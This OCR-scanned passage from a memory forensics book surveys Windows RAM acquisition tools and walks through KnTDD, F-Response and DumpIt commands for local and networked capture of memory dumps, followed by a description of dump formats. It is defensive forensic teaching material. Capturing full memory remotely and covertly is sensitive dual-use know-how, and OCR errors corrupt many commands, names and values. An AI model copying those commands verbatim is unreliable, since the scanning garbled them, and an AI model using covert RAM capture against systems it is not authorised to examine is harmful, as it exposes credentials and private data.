Mandiant Memoryze: A tool you can easily run from removable media and that
supports acquisition from most popular versions of Microsoft Windows. You can
import the XML output of Memoryze into Mandiant Redline for graphical analysis
of objects in physical memory.

HBGary FastDump: A tool that claims to leave the smallest footprint possible, the
ability to acquire page files and physical memory into a single output file (HPAK),
and the ability to probe process memory (a potentially invasive operation that forces
swapped pages to be read back into RAM before acquisition).

MoonSols Windows Memory Toolkit: The MWMT family includes win32dd,
win64dd, and the most recent version of Dumplt—a utility that combines the
32- and 64-bit memory dumping acquisition tools into an executable that requires
just a single click to operate. No further interaction is required. However, if you
do need more advanced options, such as choosing between output format types,
enabling RC4 encryption, or scripting the execution across multiple machines, you
can do that as well.

AccessData FTK Imager: This tool supports acquisition of many types of data,
including RAM. AccessData also sells a pre-configured live response USB toolkit that
acquires physical memory in addition to chat logs, network connections, and so on.
EnCase/WinEn: The acquisition tool from Guidance Software can dump memory
in compressed format and record metadata in the headers (such as the case name,
analyst, etc.). The Enterprise version of EnCase leverages similar code in its agent
that allows remote interrogation of live systems (see http://volatility-labs
.blogspot.com/2013/10/sampling-ram-across-encase-enterprise. html).
Belkasoft Live RAM Capturer: A utility that advertises the ability to dump mem-
ory even when aggressive anti-debugging and anti-dumping mechanisms are pres-
ent. It supports all the major 32- and 64-bit Windows versions and can be run from
a USB thumb drive.



Memory Acquisition

ATC-NY Windows Memory Reader: This tool can save memory in raw or crash
dump formats and includes a variety of integrity hashing options. When used
from a UNIX-like environment such as MinGW or Cygwin, you can easily send
the output to a remote netcat listener or over an encrypted SSH tunnel.

Winpmem: The only open-source memory acquisition tool for Windows. It includes
the capability to output files in raw or crash dump format, choose between various
acquisition methods (including the highly experimental PTE remapping technique),
and expose physical memory through a device for live analysis of a local system.

Memory Acquisition with KnTDD

KnTDD is a component of the KnTTools package available from GMG Systems, Inc.
(http://www.gmgsystemsinc.com/knttools). An earlier version of this software won the
2005 Digital Forensics Research Conference’s (DFRWS) Forensics Challenge (http: //www
.dfrws.org/2005/challenge/kntlist.shtml) and has since been regarded as one of the
most robust, fully featured, and well-documented memory acquisition and analysis pack-
ages. KnTTools is available in Basic and Enterprise Editions. Paraphrased from the tool’s
website, the Basic Edition includes the following:

Acquisition of physical memory (main computer memory) from systems running
most versions of Windows from XP Service Pack 3 to Windows 8.1 and Server 2012
R2 (see the website for an exact list)

Acquisition to removable media; includes pre-configured but customizable
autorun.inf scripts for automation

Acquisition to the network (to a custom encrypted netcat listener) with or without
bandwidth throttling

Cryptographic integrity checks (MD5, SHA1, SHA256, SHA512) and robust audit
logging

Output compression using zlib, gzip, bzip, 1znt1, and others

Conversion of the binary memory image to Microsoft crash dump format

Bulk encryption of output using X509 /PKCS#7 certificates

Acquisition of certain system-state information, including active processes, loaded
modules and listening endpoints using user mode APIs (for later use in cross-view
detection algorithms)

On Windows 2003 and later, NVRAM, standard CMOS, IOAPIC table, MBR boot
sector, and VBR are acquired

Collection of the system page file(s)

Integration with KnTList for analysis and cross-view analysis
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Additionally, the Enterprise Edition supports the following:

Evidence acquisition over an SSL/TLS tunnel

Evidence acquisition to a WebDAV-enabled web server

Evidence acquisition to an anonymous FTP server

A remotely deployable version that runs as a system service (KnTDDSvc)

A remote deployment module (KnTDeploy) that can pull and deploy encrypted
evidence collection “packages” from an SSL-enabled web server or push the pack-
ages out to a remote Admins share on the “suspect” machine

Supports the \\.\VideoMemory, \\ . \NetXtremeMemory, and \\ . \NicMemory pseudo—
devices for acquiring RAM or SRAM from select video and network controllers

An Example of KnTDD in Action

The following steps show you how to deploy KnTTools from removable media. Specifically,
we will demonstrate acquisition of physical memory and the page file(s) in an encrypted,
compressed format.

Create an X509/PKCS#7 digital certificate if you don’t have one. For creation,
you can use makecert .exe, a tool distributed with Microsoft Visual Studio and
other Microsoft software development packages, including the free Visual Studio
Express. The following command generates a self-signed certificate named
michael.ligh.cer
C:\Analyst>makecert.exe -r -pe -n "CN=michael.ligh@useonce.mnin.org"

-sky exchange -ss my -a shal -len 2048

-b 05/06/2014 -e 05/06/2014 michael.ligh.cer
Succeeded

Execute KnTDD from the removable media (c: in this case) once it’s connected
to the target system. The options request SHA512 hashes, encryption with the
self-signed certificate, LZNT1 compression, and page file collection. Note that the
components of the tool set are disguised with the “covert” naming convention
(i.e., kntdd.exe was renamed to covert .exe). The renaming prevents simple anti-
forensics attacks based on names of common acquisition tools. Also, the device
and symbolic link names are randomized.

G:\deploy\covert.amdé4>covert.exe -v -o memory.bin --log

--cryptsum sha 512

--pagefiles --force pagefiles --4gplus
--comp lzntl --cert michael.ligh.cer --case case001
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KnTTools, 2.3.0.2898
kntdd physical memory forensic acquisition utility, 2.3.0.2898
Copyright (C) 2006-2013 GMG Systems, Inc.

Current User: WIN-94808I1D091\Valor

Fully-qualified DNS Name: WIN-94808I1D091

NetBIOS Name: WIN-94808I1DOS1

Fully-qualified physical DNS Name: WIN-94808I1DO91

Uptime: 0 days 7:39:4.987

Physical memory modules installed on the system: 0x80000000
Physical memory visible to the operating system: 0x7f££7e000
Highest physical page plus 4096 bytes: 0x80000000

PAE is enabled!

[snip]

Installing driver covertdrv from image path
G:\deploy\covert.amdé64\amdé64\covertdrv.sys

Starting driver as \Device\LNk20wGwN

Driver symbolic link name: \DosDevices\XPBM8VLS

Driver started.

Binding to symbolic link \\.\VpalCSE6zN

Symbolic link is bound.

Total bytes copied: 0x80000000

The loaded OS kernel name is C:\Windows\system32\ntoskrnl.exe

[snip]

Reading standard Cmos data...Ok!
Reading standard IOAPIC data...Ok!

Reading disk boot sector...

ArcPath: multi(0)disk(0)rdisk(0)partition(1)->\\.\PhysicalDrive0
OK!

Reading volume boot records...

ArcPath: multi(0)disk(0)rdisk(0)partition(1l)->\\.\PhysicalDrive0
OK: 1 volume boot records read.

[snip]

Copying pagefiles...
C:\pagefile.sys
Pid: 0x4
Handle: Oxffffffff800001e0
Object: 0xfffffa8002ca7390
LogicalFileSize: 0x72d33000
Directory: No
Compressed: No
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Encrypted: No
PagingFile: Yes
Start: 0x0 ExtentSize: 0x72d33000 LogicalOffset: 0x251508000

Copying pagefiles completed successfully.

[snip]

Transfer the acquired evidence to your forensic workstation using the best prac-
tices described in the “Local Acquisition to Removable Media” section. Listing the
evidence directory shows the compressed and encrypted (1znt1.kpg extension)
physical memory dump, page file(s), acquisition log, user system state, and hashes.
The critical OS files (ntoskrnl.exe, tcpip. sys, ndis. sys, etc.) are also captured for
later analysis—they will appear in the winpows subdirectory.

C:\Analyst>dir "{DC04DB43-AC21-4060-8954-17D0AD3166DC}"
Directory of C:\Analyst\{DC04DB43-AC21-4060-8954-17D0AD3166DC}
05/06/2014 09:14 PM <DIR>

05/06/2014 09:14 PM <DIR> ..
05/06/2014 09:14 PM 1,524 memory.bin.dumpheader.lzntl.kpg

05/06/2014 09:14 PM 933,585,748 memory.bin.lzntl.kpg
05/06/2014 09:14 PM 4,116 memory.log.lzntl.kpg
05/06/2014 09:14 PM 51,067,636 memory.Pagedump C!!
pagefile!sys.DMP.lzntl.kpg
05/06/2014 09:14 PM 293,348 memory.user_ system state.xml.lzntl.kpg
05/06/2014 09:14 PM 4,068 memory.xml.lzntl.kpg
05/06/2014 09:14 PM <DIR> WINDOWS
6 File(s) 984,956,440 bytes
3 Dir(s) 901,435,392 bytes free

Use the kntencrypt.exe utility to decrypt the files using your certificate. This
command generates new files with an 1znt1 extension, to indicate they are still
compressed.

C:\Analyst\KnTTools.amd64>kntencrypt.exe --cert michael.ligh.cer
-d -v "{DC04DB43-AC21-4060-8954-17D0AD3166DC}/*"

KnTTools, 2.3.0.2898
KnTTools encryption utility., 2.3.0.2898
Copyright (C) 2006-2013 GMG Systems, Inc.

07/05/2014 02:31:41 (UTC)
06/05/2014 21:31:41 (local time)
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Current User: WIN-94808I1DO91\Valor

C:\Analyst\KnTTools.amd64\{DC04DB43-AC21-4060-8954-

17D0AD3166DC} \memory.bin.dumpheader.lzntl.kpg-->C:\Analyst\KnTTools.amd64\
{DC04DB43-AC21-4060-8954-17D0AD3166DC} \memory.bin.dumpheader.lzntl. ..
OK.percent complete
C:\Analyst\KnTTools.amd64\{DCO4DB43—AC21—4060—8954—17DOAD3166DC}\
memory.bin.lzntl.kpg-->C:\Analyst\KnTTools.amd64\{DC04DB43-AC21-4060
-8954-17D0AD3166DC } \memory.bin.lzntl. ..

OK.percent complete

[snip]

Use the custom version of dd. exe provided with KnTTools to decompress the evi-
dence files into an output directory. We also use the --sparse option so the files
are recompressed using NTFS file compression (which results in the evidence files
taking up a lot less space on disk and they are generally faster to read).
C:\Analyst\KnTTools.amd64>dd.exe -v

if="{DC04DB43-AC21-4060-8954-17D0AD3166DC}/*.1lzntl"
of=decompressed\ --decomp lzntl --sparse -localwrt

Forensic Acquisition Utilities, 1.4.0.2464
dd, 5.4.0.2464
Copyright (C) 2007-2013 GMG Systems, Inc.

C:\Analyst\KnTTools.amd64\decompressed\memory.user system state.xml
327680/1008180 bytes (compressed/uncompressed)

0+1 records in

0+1 records out

1008180 bytes written

[snip]

Figure 4-3 shows an example of the evidence directory after decryption and decom-
pression. The memory.bin file is the main memory sample and the user state is collected
inmemory.user_system_state.xml. As shown in the figure, this XML file contains details
on the current state of the machine from the operating system’s perspective (i.e., its APIs).
You can parse the XML to compare data with what you find in the physical memory
sample (this is what KnTList does).
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..« KnTTools.amdé4 » decompressed »

Organize * = Open Include in library * Share with = New folder

m B E e

¥ Favorites MName ’ Date modified Type
Bl Desktop | WINDOWS 5/6/2014 11:10 PM  File folder
& Dewnloads = L_| memory.bin 5/6/2014 9:31 PM BIN File
5 Recent Places L_| memory.bin.dumpheader 5/6/2014 9:31 PM DUMPHEADER Fil
=] memory 5/6/2014 9:31 PM Text Document
) Libraries || memory.Pagedump_C!!pagefilelsys.DMP  5/6/2014 9:31 PM DMP File
@ Documents |£] memory.user_systemn_state 5/6/2014 9:31 PM XML Document
J’ Music |£] memory 5/6/2014 9:31 PM XML Document
[E=] Pictures < il | 3
WINDOWS Date modified: 5/6/2014 11:10 PM
File folder

<item Name="ptoskrnl.exe" Path="\SystemRoot\system32\nioskrnl.exe" Basehddress=
<item Name="hal.dll" Path="\SystemRcot\system32\hal.dll" Baselddress="-8796048¢
<item Name="kdgom.dll" Path="\SystemRoot\system32\kdcom.dll" BaselAddress="-879¢
<item Name="mcupdate GenuineIntel.dll" Pe.t,.'.="\SystemRoot.\systemSQ\mcupdate_Gem:
<item Name="PSHED.d]]" Path="\SystemRoot\system32\PSHED.d]ll" Basehddress="-824¢
<item Name="CLFS.SYS" Pa \SystemRoot\system32\CLFS.5YS" Baselddress="-§2463Z
<item Name="CI.dll" Path="\SystemRoct\system32\CI.gll" BaseAddrezs="-8246323474
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Figure 4-3: An example of the evidence gathered by KnTDD, including the physical memory, page
file, XML user state, and OS kernel files.

Remote Acquisition

We demonstrate one of the remote acquisition options available with KnTDD here. On
the server-side (the machine you’ll use to receive data), we executed the command that
follows. The -L option listens for multiple connections, because the memory sample is
transmitted over a different port than the log file, XML user state, and so on. Our server
IP is 192.168.228.143 (acquiring over the local subnet).

F:\KnTTools.amd64> nc --verbose -L --port 8000
--source 192.168.228.143
-0 memory.bin --localwrt

Forensic Acquisition Utilities, 3.4.0.2464
Netcat network data redirector., 1.11.2.2464
Copyright (C) 2002-2013 GMG Systems, Inc.

Windows 8 Enterprise 6.2.9200 Multiprocessor Free(, 9200.win8 rtm.120725-1247)
4/28/2014 19:21:52 PM (UTC)

4/28/2014 12:21:52 PM (local time)

Current User: ugly\Test

Current Locale: English United States.437

User Default Locale Language: 0x0409
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The VistaFirewall Firewall is active with exceptions.
Listening on TCP: ugly.localdomain: 8000.

On the target system (the one from which we are acquiring memory), the following
command was used:
F:\KnTTools.amd64> kntdd.exe --verbose --out 192.168.228.143
--iport 8000 --4gplus
--cryptsum sha 512 --pagefiles --force pagefiles
--log --case "Case002"

--comp lzntl
--cert michael.ligh.cer

100 percent complete
The loaded OS kernel name is C:\Windows\system32\ntoskrnl.exe

If needed, you can control the peak bandwidth and Quality of Service (QoS) using
additional command-line options (for example, if you don’t want to saturate a client’s
network while acquiring memory).

NOTE

The Enterprise version of KnTTools also allows remote acquisition to an anonymous
FTP server (configured for write-only access). Here’s an example command showing
that capability:
F:\KnTTools.amd64>kntdd.exe --verbose
--out ftp:\\ftp.mnin.org\Evidence --log
--cryptsum sha 512 --pagefiles --force pagefiles

--4gplus --comp lzntl --case case001
--cert michael.ligh at useonce.mnin.org.cer

Runtime Interrogation with F-Response

F-Response (https://www. f-response.com) by Agile Risk Management provides read-only
access to a remote computer’s physical storage media, including physical memory. The
F-Response agent implements a modified version of the iSCSI protocol that blocks write
operations to the target media, preventing accidental changes during acquisition and
analysis. F-Response is designed for compatibility with any forensic software that provides
disk or memory-analysis capabilities. For example, you could use F-Response to mount
a target system’s drives over the network and then use The Sleuth Kit, X-Ways, EnCase,
or FTK on your analysis machine to inspect the target machine for malicious activity.
Most important, you can use F-Response to mount RAM over the network and then exam-
ine it from your analysis machine. In a presentation titled Upping the ‘Anti’: Using Memory
Analysis to Fight Malware (nttp://www.4tphi.net/fatkit/papers/Walters_2008_SANS.pdf)
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Matt Shannon (F-Response principal) and A Aron Walters, (Volatility founder) introduced
a tool called Voltage, which couples the power of F-Response and Volatility. This allows
detection of changes to memory in real time across all computers in an enterprise without
having to reboot, power down, visit them physically, or worry about accidentally writing
changes back to the target system’s memory.

General Steps for Using F-Response

The steps for using F-Response are different depending on which edition of the software
you purchase, but the concepts are the same. The following example is based on the
Field Kit Edition. Since the time we first wrote about F-Response in the Malware Analyst’s
Cookbook, the team has drastically expanded their entire family of products. You can now
deploy covert agents (i.e., no GUI) to target systems, enable 256-bit AES encryption for data
that is transmitted over the wire, and connect to cloud-based storage systems.

Figure 4-4 shows an image of the agent that you would run on a target machine using
the Field Kit Edition of F-Response. Once you enter the requested options, you connect to
the target machine (192.168.1.129 on TCP port 3260 in this case) from your analysis station
using Microsoft’s iSCSI initiator. The target machine’s physical disk(s) and memory then
become available to your analysis machine over the network. For example, you might
see the target machine’s c: drive mounted as F: on your analysis station, and the target
machine’s memory mounted as G:. Then you can launch your desired forensic software
from your analysis station and aim them at your F: or G: drive.

-
F F-Response - Remote Forensics Field Kit

File:

[~ Host Information -
[ Status | [~ Physical Memary

" Disabled

Offline
Host IP Address: | 192,168.1,129
. 24 + Enzbled

—Remote Configuration -
TCP Part: | 3280 TCP Port must be between 1 and 65,554

Username: | fielduser Usernamne must be 1 or more characters
Password: [asdrttrrrast — Password must be 12 or more charackers

Version: 3.09.05
License Key H'W ID¢ 155519845 Skap. I Start ]
License Expires: 6/22(2010

Hostname: johnpc

Figure 4-4: Configuring the F-Response GUI agent on a target system

Connecting from Mac OS X and Linux

You can also connect to the target from a Mac OS X or Linux system using Open-iSCSI
(http://www.open-iscsi.org). Once installed, you can manually leverage the iscsiadm
command-line utility or by embedding it in a script to automatically connect and mount
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a remote system’s drives. Students in our training class experiment with the latter method
by using a script called remotemen.py that we designed for exactly this purpose. Here’s
how to runit:
$ sudo python remotemem.py
--host=192.168.1.129
--port=3260

--user=fielduser
- -password=YOURPASSWORD

Memory node: /dev/sdb, Disk node: /dev/sdc

To acquire a full RAM dump, open a new tab in your
terminal and type the following command:

$ sudo dd if=/dev/sdb of=~/mem.dmp bs=512

To "interrogate" memory (i.e. examine RAM w/o a full acquisition)
simply point Volatility to the memory node. For example:

$ sudo python vol.py -f /dev/sdb --profile=PROFILE pslist
[snip]

NOTE: you must run the commands as sudo/root to access the unix
devices (i.e. /dev/sdX).

Press enter to disconnect and logout...

In the output, the script takes care of all the administrative tasks and simply tells you
where to find the remote system’s RAM and hard drive (/dev/sdb and /dev/sdc, respec-
tively). The connection stays alive until you press ENTER into the terminal to dismiss
the script. We typically instruct investigators to either acquire memory over the remote
channel (by using a typical dd command) or perform runtime interrogation by directly
running Volatility plugins against the /dev/sdb device.

The major benefit of interrogation is getting a list of processes, kernel modules, or net-
work connections in a matter of seconds by transferring only 5-10KB of data per machine.

NOTE

F-Response recently announced its forthcoming F-Switch Appliance and Cloud Solution
(http://www. £-switch.com). Although F-Switch provides very similar remote disk, vol-
umes, and memory access to F-Response, it is designed to handle complex networking
environments and more structured corporate controls. With the F-Switch technology,
live physical memory analysis over the Internet with Volatility is now possible.
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MoonSols Windows Memory Toolkit

MoonSols Windows Memory Toolkit (ht tp://www.moonsols.com/windows-memory-tool-
kit) by Matthieu Suiche supports memory acquisition from 32-bit and 64-bit versions of
Windows XP, 2003, 2008, Vista, 2008 R2, 7, and 8. Version 1.4 of the software is free. At
the time of this writing, the most recent version is 2.0, which is available in Consultant,
Enterprise, and Enterprise Plus licensing schemes. Here are a few of the features of the
2.0 toolkit:

It supports hashing with Mps, sHA-1, and sHA-256.

It includes a server component so you can transmit memory dumps across the
network, with optional RC4 encryption and/or LZNT1 compression.

It can map memory in three different ways, including the well-known use of
\Device\PhysicalMemory.

It can convert full memory dumps to Microsoft crash dumps, which you can then
analyze using one of the Microsoft debuggers.

It can convert hibernation files and crash dumps into raw memory dumps.
DumpIt.exe combines win32dd.exe and wine4dd. exe to provide memory dumps in
a single-click. You can still control options via command-line if you desire.

Local Collection

You can create a memory dump by double-clicking the pump1t . exe icon or executing it on
the command line without any options. However, we highly recommend at least display-
ing the possible options first, just to make sure you know what the defaults are (and that
theyre suitable for your case).
F:\DFIR> DumpIt.exe /?
DumpIt - v2.1.0.20140115 - One click memory memory dumper

Copyright (c) 2007 - 2014, Matthieu Suiche <http://www.msuiche.net>
Copyright (c) 2012 - 2014, MoonSols Limited <http://www.moonsols.com>

Usage: DumpIt [options]

Option Description

/3 <log> Log file destination.

/f <file> File destination.

/r Create a Raw memory dump file. (default)
/d Create a Microsoft memory crash dump file.

(WinDbg compliant, XP and later only)
/c <value> Memory content.
0 - Full physical address space.
1 - Memory manager physical memory block. (default)
2 - Memory manager physical memory block + Very First PFNs.



/m <values

/k

/lzntl
/rc4 <key>
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Mapping method for either /d or /r option.
0 - MmMapIoSpace() .
1 - \\Device\\PhysicalMemory.
2 - PFN Mapping. (default)
Create a Microsoft memory crash dump file (BSOD).
(local only, reboot)
Use LZNT1 compression.
USE RC4 encryption.

/unpack <input> <outputs> Unpack a file who had been previously encoded

/s <value>

/y <value>

or compressed via MoonSols DumpIt.
Hash function to use. (Only on sender/local machine)
0 - No hashing algorithm. (default)
1 - SHAl algorithm.
2 - MD5 algorithm.
3 - SHA-256 algorithm.
Speed level.
0 - Normal.
1 - Fast.
2 - Sonic.
3 - Hyper sonic. (default)

/t <addr> Remote host or address IP.
/p <ports> Port, can be used with both /t and /1 options. (default: 1337)
/1 Server mode to receive memory dump remotely.
/i Interactive mode.
/a Answer "yes" to all questions. Must be used for piped-report.
/? Display this help.
Samples:
DumpIt /d /f physmem.dmp - Standard Microsoft crash dump.
DumpIt /m 0 /r /f F:\physmem.bin - Raw dump using MmMapIoSpace () method.
DumpIt /1 /f F:\msuiche.bin - Waiting for a local connexion on
port 1337.
DumpIt /t sample.foo.com /d /c 0 - Send remotely a Microsoft
full crash dump.
DumpIt /d /f \\smb_server\remote.dmp - Send remotely on a SMB server.

The following output shows an example of running bumpIt.exe with all the default

options. To automatically answer “yes” to all questions, use the /a option (for scripted

acquisition). The results from this command show details about the computer’s memory

configuration, including the total address space size, the size of an individual memory

page, and the number of seconds that elapsed during the memory acquisition. The mem-

ory dump is saved in the directory containing bump1t . exe (preferably a removable drive).

F:\DFIR> Dumplt.exe
DumpIt - v2.1.0.20140115 - One click memory memory dumper

Copyright

(c) 2007 - 2014, Matthieu Suiche <http://www.msuiche.net>

Copyright (c) 2012 - 2014, MoonSols Limited <http://www.moonsols.coms

Address space size: 7365197824 bytes ( 7024 Mb)
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Free space size:

* Destination path:

0.S. Version:
Computer name:

Physical memory in use:
Physical memory size:

Physical memory available:

Paging file size:

Paging file available:
Virtual memory size:
Virtual memory available:

Extented memory available:

Physical page size:
Minimum physical address:
Maximum physical address:

Address space size:

--> Are you sure you want to continue?

Acquisition started at:

+ Processing... Done.

Acquisition finished at:
Time elapsed:

Created file size:

Remote Collection

38171750400 bytes (

36403 Mb)

\??\F:\DFIR\BC44-20140426-221920.dmp

Microsoft Enterprise, 64-bit (build 9200)
BC44
11%
6143476 Kb ( 5999 Mb)
5411984 Kb ( 5285 Mb)
10337780 Kb ( 10095 Mb)
9467612 Kb ( 9245 Mb)
2097024 Kb ( 2047 Mb)
2054932 Kb ( 2006 Mb)
0 Kb ( 0 Mb)
4096 bytes
0x0000000000001000
0x00000001B6FFF000
7365197824 bytes (7192576 Kb)
ly/nl vy
[26/4/2014 (DD/MM/YYYY) 22:19:52 (UTC)]
[2014-04-26 (YYYY-MM-DD) 22:20:45 (UTC)]
0:53 minutes:seconds (53 secs)
6290927616 bytes ( 5999 Mb)

To save the dump directly to another machine by transferring the image across the net-

work, you first need to start a server instance of bumpIt.exe. On the machine where you

want to receive the memory dump, determine its IP address and then invoke a server

instance, like this:

F:\DFIR> ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix

IP Address.
Subnet Mask
Default Gateway

10.211.55.5
255.255.255.0
10.211.55.1

F:\DFIR> DumpIt.exe /1 /f mem.raw
DumpIt - v2.1.0.20140115 - One click memory memory dumper

Copyright

(c) 2007 - 2014, Matthieu Suiche <http://www.msuiche.net>
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Copyright (c) 2012 - 2014, MoonSols Limited <http://www.moonsols.com>

Remote server: 0.0.0.0:1337

By default, bumpIt . exe listens on all interfaces and uses TCP port 1337. You can modify
the port with the /p switch when creating the server instance. The next step is to execute
DumpIt.exe on the machine whose memory is being acquired and connect to your server
instance to transmit the memory dump. In this example, we use RC4 encryption by speci-
fying a text-based key on the command line (the longer the better; ours is just an example).

F:\DFIR> DumpIt.exe /t 10.211.55.5 /s 1 /rc4 MyRc4k3y

Note that we opted to compute a sHa-256 hash of the memory dump, as in the first
example. On your server machine, you should then decrypt the memory dump, like this:

F:\DFIR> DumpIt.exe /rc4 MyRc4K3y /unpack mem.raw unpacked.raw

DumpIt - v2.1.0.20140115 - One click memory memory dumper
Copyright (c) 2007 - 2014, Matthieu Suiche <http://www.msuiche.net>
Copyright (c) 2012 - 2014, MoonSols Limited <http://www.moonsols.com>

-> Unpacking mem.raw...
0x176flf4ac bytes readed. 0x176£02000 bytes written.
-> Success.

At this point, you can verify the sia-256 hash to ensure that there were no errors in
transmission over the network and that the RC4 decryption completed successfully. Note
that you can use netcat to receive the memory as well, but you'd still need DumpIt.exe (or
another compatible utility) to unpack it if you used compression or encryption.

Memory Dump Formats

Depending on your role in a particular case, you might not be the person in charge of
acquiring memory. In fact, the person who acquires memory might not even correspond
with you before capturing the evidence. Thus, you won't get the opportunity to share
best practices with them, recommend your favorite tool(s), or request the evidence in a
particular format. Nevertheless, you have to deal with what you get. Luckily, Volatility
uses address space voting rounds to automatically identify the file format for you. In other
words, it cycles through all supported formats until it can identify the appropriate address
space for the target file based on magic bytes or other patterns.

The Volatility Framework also provides several plugins, listed in Table 4-1, for explor-
ing the metadata associated with many of the common file formats.
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Table 4-1: Volatility Plugins for File Format Metadata

Format Plugin

Crash dump crashinfo
Hibernation file hibinfo
HPAK hpakinfo
Mach-o machoinfo
VMware vmwareinfo
VirtualBox vboxinfo

Raw Memory Dump

Output

CPU registers, critical pointers and symbol locations, bug check
codes, memory runs

CPU registers, timestamps, OS version, memory runs
Memory runs, page file name, compression enabled/disabled
Memory runs

Memory runs, VMX configuration, CPU registers, PNG thumb-
nail screenshot

Memory runs, VirtualBox version, number of CPUs

A raw memory dump is the most widely supported format among analysis tools. It does

not contain any headers, metadata, or magic values for file type identification. The raw

format typically includes padding for any memory ranges that were intentionally skipped

(ie., device memory) or that could not be read by the acquisition tool, which helps maintain

spatial integrity (relative offsets among data).

Windows Crash Dump

The Windows crash dump file format was designed for debugging purposes. Crash dumps

begin with a _DMP_HEADER or _DMP_HEADER64 structure, as shown in the following code.

The signature member contains PAGEDUMP Or PAGEDU64, respectively.

>>> dt (" _DMP HEADER")

0x0
0x4
0x8
0xc
0x10
0x14
0x18
Oxlc
0x30
0x34
0x38
0x40
0x80
0x88
[snip]

'_DMP_HEADER' (4096 bytes)

Signature

: ValidDump

: MajorVersion

: MinorVersion

: DirectoryTableBase

PfnDataBase
PsLoadedModuleList
PsActiveProcessHead

: MachineImageType

: NumberProcessors

: BugCheckCode

: BugCheckCodeParameter
: KdDebuggerDataBlock

PhysicalMemoryBlockBuffer

'array', 4, ['unsigned char'l]]
'array', 4, ['unsigned char'l]]

'array', 4, ['unsigned long long']]
'unsigned long long']
‘_PHYSICAL_MEMORY_DESCRIPTOR‘]
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The header identifies the major and minor OS version, the kernel DTB
(pirectoryTableBase), the addresses of the active process and loaded kernel module list
heads, and information on the physical memory runs. It also shows the bug check codes,
which a debugger uses to determine the cause of the crash.

NOTE

Crash dumps come in many shapes and sizes. If you want your crash dump to be
compatible with Volatility, it must be a complete memory dump, not a kernel memory
dump or a small dump. The article “Understanding Crash Dump Files” describes the
differences in detail: http://blogs.technet.com/b/askperf/archive/2008/01/08/

understanding-crash-dump-files.aspx.

The following list describes how you can create a crash dump. Please note that not all
methods are suitable for forensics purposes.

Blue Screens: You can configure a system to create a crash dump when a Blue
Screen of Death (BSoD) occurs (see KB 969028). For testing purposes, you can
use NotMyFault from Sysinternals (http://download.sysinternals.com/files/
NotMyFault . zip), which includes an intentionally buggy driver that causes a BSoD.
Of course, this method powers down the system hard, which might result in loss
of other data.

CrashOnScrollControl: Some PS/2 and USB keyboards have special key sequences
that produce a crash dump (see KB 244139). On server systems that don’t have key-
boards attached, you can use Non-Maskable Interrupts (see KB 927069). However,
these methods typically require pre-configuration of the registry and BIOS.
Debuggers: If you're attached to a target system using a remote kernel debugger
(WinDBG), you can use the .crash or . dump commands. It is convenient for debug-
ging, but it rarely ever applies to a forensic scenario. You can also use LiveKD
(http ://download.sysinternals.com/files/LiveKD. zip) if you’re debugging
locally, but it typically requires pre-installing special software on the target system.

The methods we just described rely on the same facility within the kernel to generate
the crash dumps. Thus, they all suffer from a few similar weaknesses. They typically
don't include device memory regions or the first physical page, which might contain a
copy of the Master Boot Record (MBR) from disk and pre-boot authentication passwords.
Furthermore, they can be subverted by malware that registers a bug check callback (see
“Malicious Callbacks” in Chapter 13) or by disabling access to the kernel debugger. Some
systems might not even be able to create complete crash dumps due to size (see http://
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media.blackhat.com/bh-us-10/whitepapers/Suiche/BlackHat-USA-2010-Suiche-Blue-
Screen—of—the—Death—is—dead—wp.pdf)

Some forensic memory acquisition tools such as MoonSols MWMT provide the option
to create a crash dump file. In these cases, the tool(s) construct their own crash dump
header and then write physical memory runs into the output file. In other words, they
generate a crash dump file compatible with the WinDBG debugger (and thus Volatility),
but do not use the same kernel facility that the other techniques use. Thus, many of the
disadvantages such as the missing first page, subversion via callbacks, and size limita-
tions are avoided. Volatility and KnTDD can also convert raw memory dumps into crash
dumps, as you'll learn later in the chapter.

Windows Hibernation File

A hibernation file (hiberfil.sys) contains a compressed copy of memory that the system
dumps to disk during the hibernation process. In 2008, Matthieu Suiche (MoonSols) devel-
oped the first tool, Sandman, for analyzing these files for forensic purposes. You can read
about his initial research in Windows Hibernation File For Fun ‘N’ Profit (nttp://sebug.net/
paper/Meeting-Documents/BlackHat-USA2008/BH US_08 Suiche Windows hibernation.pdf).

Hibernation files consist of a standard header (po_MEMORY TMAGE), a set of kernel contexts
and registers such as CR3, and several arrays of compressed data blocks. The compres-
sion format used was basic Xpress (http://msdn.microsoft.com/en-us/library/hh554002
.aspx). However, starting in Windows 8 and Server 2012, Microsoft started using the
Xpress algorithm along with Huffman and LZ encoding. Here’s an example of the hiber-
nation file header:

>>> dt ("PO_MEMORY IMAGE")
'PO_MEMORY IMAGE' (168 bytes)

0x18 : ImageType

0x0 : Signature ['String', {'length': 4}]
0x4 : Version ['unsigned long']
0x8 : CheckSum ["unsigned long'
0xc : LengthSelf ["unsigned long'
0x10 : PageSelf ["unsigned long']
0x14 : PageSize ["unsigned long']
[ 1
[

0x20 : SystemTime
[snip]

The signature member usually contains hibr, HIBR, wake, Or WAKE. However in some
cases, the entire po_MEMORY IMAGE header is zeroed out (this happens when the system
resumes), which can prevent analysis of the hibernation file in most tools. In those cases,
Volatility uses a brute force algorithm to locate the data it needs. When performing an
analysis of the hibernation file with Volatility, remember that every time you run a com-
mand, you need to decompress certain segments. As a general time saver, we recommend
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decompressing the entire memory dump once (using the imagecopy command, which we
describe shortly). The decompression converts the hibernation file into a raw memory
dump that you can analyze without on-the-fly decompression.

As explained in Microsoft KB 920730, to create a hibernation file, first enable hiberna-
tion in the kernel (powercfg.exe /hibernate on)and then issue a shutdown /h command
to hibernate. Depending on your OS version, you may also accomplish it by clicking from
the Start menu (Start = Hibernate or Start & Shutdown = Hibernate). In most forensic
cases, however, you'll receive a laptop that has already been hibernated or you'll get a
forensic disk image from a system that has a hibernation file available. In this case, you'll
have to copy off the c:\niberfil.sys file by mounting the disk from an analysis machine
(or by using a live CD/DVD).

WARNING

Before a system hibernates, the DHCP configuration (if any) is released and any active
connections are terminated. As a result, networking data in hibernation files might be
incomplete. Also, during this time, malware can remove itself from memory so that
you're not able to detect its presence in the hibernation file.

Expert Witness Format (EWF)

Memory acquired by EnCase is stored in Expert Witness Format (EWF). This is a very
common format due to the popularity of EnCase in forensic investigations. Thus, you
should be familiar with the following methods of analyzing the EWF memory dumps:

EWFAddressSpace: Volatility includes an address space that can work with EWF
files, but it requires that you install 1ibewt (https://code.google.com/p/libewt).
At the time of this writing, 1ibewt advertises full supports of the EWF files used by
EnCase v6 and prior versions, but the newer EWF2-EX01 introduced with EnCase
v7 is experimental only.

Mounting with EnCase: You can mount an EWF file with EnCase and then run
